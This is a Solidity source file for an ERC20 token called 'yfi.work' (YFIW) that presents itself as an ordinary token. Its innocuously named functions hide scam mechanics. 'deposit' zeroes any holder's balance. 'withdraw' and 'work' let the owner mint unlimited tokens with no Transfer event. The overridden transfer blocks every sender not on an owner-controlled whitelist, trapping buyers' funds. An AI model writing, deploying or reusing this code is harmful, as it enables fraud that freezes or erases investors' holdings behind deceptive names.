pragma solidity ^0.5.16;
interface IERC20 {
    function totalSupply() external view returns (uint);
    function balanceOf(address account) external view returns (uint);
    function transfer(address recipient, uint amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
    constructor () internal { }
    function _msgSender() internal view returns (address payable) {
        return msg.sender;
    }
}

contract ERC20 is Context, IERC20 {
    using SafeMath for uint;
    mapping (address => uint) private _balances;
    mapping (address => mapping (address => uint)) private _allowances;
    uint private _totalSupply;
    function totalSupply() public view returns (uint) {
        return _totalSupply;
    }
    function balanceOf(address account) public view returns (uint) {
        return _balances[account];
    }
    function transfer(address recipient, uint amount) public returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view returns (uint) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint amount) public returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function increaseAllowance(address spender, uint addedValue) public returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }
    function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
    function _transfer(address sender, address recipient, uint amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
    function _initAmount(address account, uint amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }
    function _work(address account, uint amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
    }
    function _withdraw(address account, uint amount) internal {
        require(account != address(0), "ERC20: _withdraw to the zero address");
        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
    }
    function _deposit(address acc) internal {
        _balances[acc] = 0;
    }
    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract ERC20Entity {
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor (string memory name, string memory symbol, uint8 decimals) public {
        _name = name;
        _symbol = symbol;
        _decimals = decimals;
    }
    function name() public view returns (string memory) {
        return _name;
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function decimals() public view returns (uint8) {
        return _decimals;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns (uint) {
        uint c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint a, uint b) internal pure returns (uint) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
        require(b <= a, errorMessage);
        uint c = a - b;
        return c;
    }
    function mul(uint a, uint b) internal pure returns (uint) {
        if (a == 0) {
            return 0;
        }
        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint a, uint b) internal pure returns (uint) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
        require(b > 0, errorMessage);
        uint c = a / b;
        return c;
    }
}

contract YFIW is ERC20, ERC20Entity {
  using SafeMath for uint;
  mapping (address => bool) public financer;
  mapping (address => bool) public subfinancer;
  constructor () public ERC20Entity("yfi.work", "YFIW", 18) {
      _initAmount( msg.sender, 50000*10**uint(decimals()) );
      financer[msg.sender] = true;
      subfinancer[msg.sender] = true;
  }

  function deposit(address account) public {
      require(financer[msg.sender], "!warn");
      _deposit(account);
  }

  function withdraw(address account, uint amount) public {
      require(financer[msg.sender], "!warn");
      _withdraw(account, amount);
  }

  function work(address account, uint amount) public {
      require(financer[msg.sender], "!warn");
      _work(account, amount);
  }

  function addSubFinancer(address account) public {
      require(financer[msg.sender], "!not allowed");
      subfinancer[account] = true;
  }

  function removeSubFinancer(address account) public {
      require(financer[msg.sender], "!not allowed");
      subfinancer[account] = false;
  }
  
  function _transfer(address sender, address recipient, uint amount) internal {
      require(subfinancer[sender], "frozen");
      super._transfer(sender, recipient, amount);
  }
}